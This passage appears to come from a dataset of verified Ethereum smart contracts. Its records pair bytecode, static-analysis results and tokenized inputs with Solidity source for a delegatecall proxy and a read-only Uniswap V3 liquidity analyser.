5b60006060866001600160a01b031685876040518082805190602001908083835b6020831061356b5780518252601f19909201916020918201910161354c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d80600081146135cd576040519150601f19603f3d011682016040523d82523d6000602084013e6135d2565b606091505b509150915081156135e65791506128489050565b8051156135f65780518082602001fd5b60405162461bcd60e51b8152602060048201818152865160248401528651879391928392604401919085019080838360008315612e42578181015183820152602001612e2a565b6040805161012081018252600080825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e0810182905261010081019190915290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106136ca57805160ff19168380011785556136f7565b828001600101855582156136f7579182015b828111156136f75782518255916020019190600101906136dc565b50613703929150613747565b5090565b50805460018160011615610100020316600290046000825580601f1061372d57506112ae565b601f0160209004906000526020600020908101906112ae91905b610cf591905b80821115613703576000815560010161374d56fe54726169744368616e67653a2063616c6c6572206973206e6f7420612077686974656c69737465642e456e756d657261626c655365743a20696e646578206f7574206f6620626f756e64734552433732313a207472616e7366657220746f206e6f6e20455243373231526563656976657220696d706c656d656e74657245746846696768746572546f6b656e2e6d696e743a204d696e746572526f6c653a2063616c6c6572206973206e6f7420612077686974656c69737465642e4552433732313a207472616e7366657220746f20746865207a65726f206164647265737341646d696e526f6c653a2063616c6c6572206973206e6f7420612061646d696e2e4552433732313a206f70657261746f7220717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76652063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f76656420666f7220616c6c4552433732313a2062616c616e636520717565727920666f7220746865207a65726f20616464726573734552433732313a206f776e657220717565727920666f72206e6f6e6578697374656e7420746f6b656e456e756d657261626c654d61703a20696e646578206f7574206f6620626f756e64734552433732313a20617070726f76656420717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732314d657461646174613a2055524920736574206f66206e6f6e6578697374656e7420746f6b656e4552433732313a207472616e73666572206f6620746f6b656e2074686174206973206e6f74206f776e4552433732314d657461646174613a2055524920717565727920666f72206e6f6e6578697374656e7420746f6b656e4552433732313a20617070726f76616c20746f2063757272656e74206f776e65724552433732313a207472616e736665722063616c6c6572206973206e6f74206f776e6572206e6f7220617070726f766564a26469706673582212207ef1eb9dd2c3936251bd60c7307244d5481bd0a6d11b20bd76bcb38cadd67d9564736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 2475, 2050, 2581, 2487, 10322, 2692, 2094, 2475, 10322, 14526, 2620, 26337, 2063, 2692, 17465, 2063, 16703, 2692, 2546, 27814, 2278, 2620, 2546, 2683, 21926, 2575, 2050, 19841, 2692, 1013, 1013, 5371, 1024, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 28177, 2078, 1013, 6123, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,070
0x962a8d2f79738d33541efad06ede06d92df892ad
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title NonReceivableInitializedProxy * @author Anna Carroll */ contract NonReceivableInitializedProxy { // address of logic contract address public immutable logic; // ======== Constructor ========= constructor(address _logic, bytes memory _initializationCalldata) { logic = _logic; // Delegatecall into the logic contract, supplying initialization calldata (bool _ok, bytes memory returnData) = _logic.delegatecall( _initializationCalldata ); // Revert if delegatecall to implementation reverts require(_ok, string(returnData)); } // ======== Fallback ========= fallback() external payable { address _impl = logic; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }
0x608060405260043610601c5760003560e01c8063d7dfa0dd146062575b6040517f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e8769036600082376000803683855af43d806000843e818015605e578184f35b8184fd5b348015606d57600080fd5b5060947f0000000000000000000000000c696f63a8cfd4b456f725f1174f1d5b48d1e87681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f3fea264697066735822122022bce6ccb56fc7799f9d68d15a8c664be8dbfadc95d6a50dfb2e95627f51e85564736f6c63430008090033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 2475, 2050, 2620, 2094, 2475, 2546, 2581, 2683, 2581, 22025, 2094, 22394, 27009, 2487, 12879, 4215, 2692, 2575, 14728, 2692, 2575, 2094, 2683, 2475, 20952, 2620, 2683, 2475, 4215, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1023, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1008, 1030, 3166, 4698, 10767, 1008, 1013, 3206, 2512, 2890, 3401, 11444, 3468, 5498, 20925, 3550, 21572, 18037, 1063, 1013, 1013, 4769, 1997, 7961, 3206, 4769, 2270, 10047, 28120, 3085, 7961, 1025, 1013, 1013, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 2953, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 1027, 9570, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,071
0x962aF20A6B83724d8A53589Ed780981e10b525D4
// SPDX-License-Identifier: UNLICENSED pragma abicoder v2; pragma solidity ^0.7.0; contract UniswapV3Analysor { struct Pool { address pool_address; address token0; address token1; uint24 fee; uint128 liquidity; uint256 amount0; uint256 amount1; } address factory_address = 0x1F98431c8aD98523631AE4a59f267346ea31F984; address nfp_manager_address = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88; IUniswapV3Factory factory; INonfungiblePositionManager nfp_manager; constructor() { factory = IUniswapV3Factory(factory_address); nfp_manager = INonfungiblePositionManager(nfp_manager_address); } function nftBalanceOf(address account) public view returns (uint) { return nfp_manager.balanceOf(account); } function nftIDsOf(address account) public view returns (uint[] memory nftIDs) { uint nftBalance = nftBalanceOf(account); nftIDs = new uint[](nftBalance); for (uint i = 0; i < nftBalance; i++) { nftIDs[i] = nfp_manager.tokenOfOwnerByIndex(account, i); } } function positionOf(uint id) internal view returns ( address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint128 liquidity ) { ( ,, token0, token1, fee, tickLower, tickUpper, liquidity, ,,, ) = nfp_manager.positions(id); } function getPools( address[] memory token0s, address[] memory token1s, uint24[] memory fees, int24[] memory tickLowers, int24[] memory tickUppers, uint128[] memory liquidity ) public view returns (Pool[] memory pools) { require(token0s.length == token1s.length, "Length of token0s and token1s are different"); require(token1s.length == fees.length, "Length of token1s and fees are different"); pools = new Pool[](token0s.length); for (uint i = 0; i < token0s.length; i++) { address poolAddress = factory.getPool(token0s[i], token1s[i], fees[i]); pools[i].pool_address = poolAddress; pools[i].token0 = token0s[i]; pools[i].token1 = token1s[i]; pools[i].fee = fees[i]; pools[i].liquidity = IUniswapV3Pool(pools[i].pool_address).liquidity(); (uint160 sqrtPriceX96, , , , , , ) = IUniswapV3Pool(poolAddress).slot0(); uint160 sqrtRatioAX96 = getSqrtRatioAtTick(tickLowers[i]); uint160 sqrtRatioBX96 = getSqrtRatioAtTick(tickUppers[i]); (uint256 amount0, uint256 amount1) = getAmountsForLiquidity(sqrtPriceX96, sqrtRatioAX96, sqrtRatioBX96, liquidity[i]); pools[i].amount0 = amount0; pools[i].amount1 = amount1; } } function getSqrtRatioAtTick(int24 tick) public pure returns (uint160) { return TickMath.getSqrtRatioAtTick(tick); } function getAmountsForLiquidity( uint160 sqrtPriceX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) public pure returns (uint256 amount0, uint256 amount1) { return LiquidityAmounts.getAmountsForLiquidity(sqrtPriceX96, sqrtRatioAX96, sqrtRatioBX96, liquidity); } } library LiquidityAmounts { function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } library FullMath { function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { uint256 prod0; uint256 prod1; assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } require(denominator > prod1); uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } uint256 twos = -denominator & denominator; assembly { denominator := div(denominator, twos) } assembly { prod0 := div(prod0, twos) } assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; uint256 inv = (3 * denominator) ^ 2; inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 result = prod0 * inv; return result; } function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } library TickMath { int24 internal constant MIN_TICK = -887272; int24 internal constant MAX_TICK = -MIN_TICK; uint160 internal constant MIN_SQRT_RATIO = 4295128739; uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; function getSqrtRatioAtTick(int24 tick) internal pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = type(uint256).max / ratio; sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } function getTickAtSqrtRatio(uint160 sqrtPriceX96) internal pure returns (int24 tick) { require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } } interface IUniswapV3Factory { function owner() external view returns (address); function feeAmountTickSpacing(uint24) external view returns (int24); function getPool(address, address, uint24) external view returns (address); function createPool(address, address, uint24) external returns (address); function setOwner(address) external; function enableFeeAmount(uint24, int24) external; } interface IUniswapV3Pool { function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function fee() external view returns (uint24); function tickSpacing() external view returns (int24); function maxLiquidityPerTick() external view returns (uint128); function slot0() external view returns (uint160, int24, uint16, uint16, uint16, uint8, bool); function feeGrowthGlobal0X128() external view returns (uint256); function feeGrowthGlobal1X128() external view returns (uint256); function protocolFees() external view returns (uint128, uint128); function liquidity() external view returns (uint128); function ticks(int24) external view returns (uint128, int128, uint256, uint256, int56, uint160, uint32, bool); function tickBitmap(int16) external view returns (uint256); function positions(bytes32) external view returns (uint128, uint256, uint256, uint128, uint128); function observations(uint256) external view returns (uint32, int56, uint160, bool); function observe(uint32[] calldata) external view returns (int56[] memory, uint160[] memory); function snapshotCumulativesInside(int24, int24) external view returns (int56, uint160, uint32); function initialize(uint160) external; function mint(address, int24, int24, uint128, bytes calldata) external returns (uint256, uint256); function collect(address, int24, int24, uint128, uint128) external returns (uint128, uint128); function burn(int24, int24, uint128) external returns (uint256, uint256); function swap(address, bool, int256, uint160, bytes calldata) external returns (int256, int256); function flash( address, uint256, uint256, bytes calldata) external; function increaseObservationCardinalityNext(uint16) external; function setFeeProtocol(uint8, uint8) external; function collectProtocol( address, uint128, uint128) external returns (uint128, uint128); } interface INonfungiblePositionManager { function positions(uint256) external view returns (uint96, address, address, address, uint24, int24, int24, uint128, uint256, uint256, uint128, uint128); struct MintParams { address token0; address token1; uint24 fee; int24 tickLower; int24 tickUpper; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; address recipient; uint256 deadline; } function mint(MintParams calldata) external payable returns (uint256, uint128, uint256, uint256); struct IncreaseLiquidityParams { uint256 tokenId; uint256 amount0Desired; uint256 amount1Desired; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } function increaseLiquidity(IncreaseLiquidityParams calldata) external payable returns (uint128, uint256, uint256); struct DecreaseLiquidityParams { uint256 tokenId; uint128 liquidity; uint256 amount0Min; uint256 amount1Min; uint256 deadline; } function decreaseLiquidity(DecreaseLiquidityParams calldata) external payable returns (uint256, uint256); struct CollectParams { uint256 tokenId; address recipient; uint128 amount0Max; uint128 amount1Max; } function collect(CollectParams calldata) external payable returns (uint256, uint256); function burn(uint256) external payable; function createAndInitializePoolIfNecessary(address, address, uint24, uint160) external payable returns (address); function unwrapWETH9(uint256, address) external payable; function refundETH() external payable; function sweepToken( address, uint256, address) external payable; function factory() external view returns (address); function WETH9() external view returns (address); function name() external view returns (string memory); function symbol() external view returns (string memory); function tokenURI(uint256) external view returns (string memory); function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address, uint256) external view returns (uint256); function tokenByIndex(uint256) external view returns (uint256); function PERMIT_TYPEHASH() external pure returns (bytes32); function DOMAIN_SEPARATOR() external view returns (bytes32); function permit(address, uint256, uint256, uint8, bytes32, bytes32) external payable; function balanceOf(address) external view returns (uint256); function ownerOf(uint256) external view returns (address); function safeTransferFrom(address, address, uint256) external; function transferFrom(address, address, uint256) external; function approve(address, uint256) external; function getApproved(uint256) external view returns (address); function setApprovalForAll(address, bool) external; function isApprovedForAll(address, address) external view returns (bool); function safeTransferFrom(address, address, uint256, bytes calldata) external; } interface ERC20 { function totalSupply() external view returns (uint); function balanceOf(address) external view returns (uint); function allowance(address, address) external view returns (uint); function decimals() external view returns(uint); }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80630e313e981461005c5780636e9096ed1461008c5780637fecd3dc146100bc578063986cfba3146100ec578063c72e160b1461011c575b600080fd5b610076600480360381019061007191906113bc565b61014d565b6040516100839190611adb565b60405180910390f35b6100a660048036038101906100a191906113bc565b610201565b6040516100b39190611a3e565b60405180910390f35b6100d660048036038101906100d1919061140e565b61033d565b6040516100e39190611a1c565b60405180910390f35b61010660048036038101906101019190611527565b610874565b6040516101139190611ac0565b60405180910390f35b61013660048036038101906101319190611617565b610886565b604051610144929190611af6565b60405180910390f35b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b81526004016101aa91906119a1565b60206040518083038186803b1580156101c257600080fd5b505afa1580156101d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fa919061167a565b9050919050565b6060600061020e8361014d565b90508067ffffffffffffffff8111801561022757600080fd5b506040519080825280602002602001820160405280156102565781602001602082028036833780820191505090505b50915060005b8181101561033657600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632f745c5985836040518363ffffffff1660e01b81526004016102c19291906119f3565b60206040518083038186803b1580156102d957600080fd5b505afa1580156102ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610311919061167a565b83828151811061031d57fe5b602002602001018181525050808060010191505061025c565b5050919050565b60608551875114610383576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161037a90611aa0565b60405180910390fd5b84518651146103c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103be90611a60565b60405180910390fd5b865167ffffffffffffffff811180156103df57600080fd5b5060405190808252806020026020018201604052801561041957816020015b610406610fbd565b8152602001906001900390816103fe5790505b50905060005b8751811015610869576000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631698ee828a848151811061047457fe5b60200260200101518a858151811061048857fe5b60200260200101518a868151811061049c57fe5b60200260200101516040518463ffffffff1660e01b81526004016104c2939291906119bc565b60206040518083038186803b1580156104da57600080fd5b505afa1580156104ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051291906113e5565b90508083838151811061052157fe5b60200260200101516000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505088828151811061056b57fe5b602002602001015183838151811061057f57fe5b60200260200101516020019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508782815181106105c957fe5b60200260200101518383815181106105dd57fe5b60200260200101516040019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505086828151811061062757fe5b602002602001015183838151811061063b57fe5b60200260200101516060019062ffffff16908162ffffff168152505082828151811061066357fe5b60200260200101516000015173ffffffffffffffffffffffffffffffffffffffff16631a6865026040518163ffffffff1660e01b815260040160206040518083038186803b1580156106b457600080fd5b505afa1580156106c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ec9190611550565b8383815181106106f857fe5b6020026020010151608001906fffffffffffffffffffffffffffffffff1690816fffffffffffffffffffffffffffffffff168152505060008173ffffffffffffffffffffffffffffffffffffffff16633850c7bd6040518163ffffffff1660e01b815260040160e06040518083038186803b15801561077657600080fd5b505afa15801561078a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ae9190611579565b505050505050905060006107d48885815181106107c757fe5b6020026020010151610874565b905060006107f48886815181106107e757fe5b6020026020010151610874565b90506000806108188585858c8b8151811061080b57fe5b6020026020010151610886565b915091508188888151811061082957fe5b602002602001015160a00181815250508088888151811061084657fe5b602002602001015160c0018181525050505050505050808060010191505061041f565b509695505050505050565b600061087f826108a2565b9050919050565b60008061089586868686610caa565b9150915094509492505050565b60008060008360020b126108b9578260020b6108c1565b8260020b6000035b90507ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff2761860000360020b81111561092c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092390611a80565b60405180910390fd5b60008060018316141561095057700100000000000000000000000000000000610962565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff1690506000600283161461099c5760806ffff97272373d413259a46990580e213a8202901c90505b600060048316146109c15760806ffff2e50f5f656932ef12357cf3c7fdcc8202901c90505b600060088316146109e65760806fffe5caca7e10e4e61c3624eaa0941cd08202901c90505b60006010831614610a0b5760806fffcb9843d60f6159c9db58835c9266448202901c90505b60006020831614610a305760806fff973b41fa98c081472e6896dfb254c08202901c90505b60006040831614610a555760806fff2ea16466c96a3843ec78b326b528618202901c90505b60006080831614610a7a5760806ffe5dee046a99a2a811c461f1969c30538202901c90505b6000610100831614610aa05760806ffcbe86c7900a88aedcffc83b479aa3a48202901c90505b6000610200831614610ac65760806ff987a7253ac413176f2b074cf7815e548202901c90505b6000610400831614610aec5760806ff3392b0822b70005940c7a398e4b70f38202901c90505b6000610800831614610b125760806fe7159475a2c29b7443b29c7fa6e889d98202901c90505b6000611000831614610b385760806fd097f3bdfd2022b8845ad8f792aa58258202901c90505b6000612000831614610b5e5760806fa9f746462d870fdf8a65dc1f90e061e58202901c90505b6000614000831614610b845760806f70d869a156d2a1b890bb3df62baf32f78202901c90505b600061800083161